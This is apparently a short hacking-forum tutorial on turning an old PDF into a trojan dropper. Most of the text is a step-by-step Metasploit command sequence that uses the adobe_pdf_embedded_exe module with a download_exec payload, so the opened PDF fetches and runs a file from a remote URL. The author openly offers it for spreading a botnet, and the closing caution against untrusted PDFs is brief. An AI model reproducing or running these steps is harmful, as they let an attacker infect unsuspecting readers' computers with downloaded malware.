IntroWhat is the purpose of this tutorial? Pretty much a method on making a PDF a trojan dropper. Is this useful? Sure if you want to spread a botnet or some skidlike thing. Why are you posting this? In case anyone wants to turn a PDF into a dropper, and to make other individuals aware of how easily a skid can turn a harmless PDF into a malicious file.
Note:
This may only work with PDFs that are created with older versions of Adobe PDFWhat you will need- Old PDF
- Metasploit
- URL of file you want to be dropped (direct link)
What's the Process?- Open metasploit console
- Type the following into console:
use exploit/windows/fileformat/adobe_pdf_embedded_exe
and press enter
set payload windows/download_exec
and press enter
set INFILENAME <link to pdf>
and press enter
set url <direct dl link>
and press enter
Exploit
The infected PDF will be named "evil" in the same directory as the original.
ConclusionSo what did we learn? How easy it is for skids to infect people with knowledge, hiw so very lame... be cautious of random PDFs you download, you may be getting that great book, but other times find yourself a slave to a ddos happy skidmark.
Also I believe newer versions of PDF reader should have this patched but knowing a lot of non tech savvy people they always click out of important updates, and others don't update adobe products if they have a cracked version of adobe products as it blocks the server in the hosts file.